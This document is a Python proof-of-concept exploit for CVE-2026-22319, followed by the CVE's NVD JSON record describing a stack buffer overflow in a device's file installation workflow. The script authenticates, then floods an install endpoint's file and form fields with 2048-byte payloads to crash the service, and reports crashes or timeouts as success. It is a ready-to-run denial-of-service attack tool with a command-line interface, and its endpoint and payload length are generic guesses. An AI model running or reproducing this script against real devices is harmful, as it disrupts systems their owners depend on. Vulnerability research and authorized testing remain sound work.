CVE-2026-22319

#!/usr/bin/env python3 """ CVE-2026-22319 PoC - Stack-based Buffer Overflow in File Installation Workflow Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import argparse def exploit_buffer_overflow(target_url, username, password): """ Exploit CVE-2026-22319 by sending oversized POST parameters to trigger stack buffer overflow in file installation workflow. """ # Login to get authentication cookie/session login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } session = requests.Session() try: login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully authenticated") except requests.RequestException as e: print(f"[-] Connection error: {e}") return False # File installation endpoint install_url = f"{target_url}/api/file/install" # Create oversized payload to trigger buffer overflow # The exact overflow length depends on the target device implementation overflow_length = 2048 # Adjust based on target malicious_payload = 'A' * overflow_length # Construct malicious POST request files = { 'firmware': ('malicious.bin', malicious_payload, 'application/octet-stream') } data = { 'filename': malicious_payload, 'description': malicious_payload, 'version': malicious_payload } try: print(f"[*] Sending oversized payload ({overflow_length} bytes) to trigger overflow...") response = session.post(install_url, files=files, data=data, timeout=30) # Check for signs of successful exploitation if response.status_code == 500 or response.status_code == 0: print("[+] Target may be vulnerable - service potentially crashed") return True elif 'error' in response.text.lower(): print("[+] Payload delivered - check target status manually") return True else: print(f"[*] Response: {response.status_code}") return False except requests.RequestException as e: print(f"[+] Exploitation attempt completed - target may be unresponsive: {e}") return True def main(): parser = argparse.ArgumentParser(description='CVE-2026-22319 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-u', '--username', required=True, help='Username') parser.add_argument('-p', '--password', required=True, help='Password') args = parser.parse_args() print(f"[*] CVE-2026-22319 PoC - Stack Buffer Overflow") print(f"[*] Target: {args.target}") exploit_buffer_overflow(args.target, args.username, args.password) if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-22319", "sourceIdentifier": "[email protected]", "published": "2026-03-18T08:16:28.537", "lastModified": "2026-03-18T14:52:44.227", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow in the device's file installation workflow allows a high-privileged attacker to send oversized POST parameters that overflow a fixed-size stack buffer within an internal process, resulting in a DoS attack."}, {"lang": "es", "value": "Un desbordamiento de búfer basado en pila en el flujo de trabajo de instalación de archivos del dispositivo permite a un atacante con altos privilegios enviar parámetros POST de tamaño excesivo que desbordan un búfer de pila de tamaño fijo dentro de un proceso interno, lo que resulta en un ataque de DoS."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-104", "source": "[email protected]"}]}}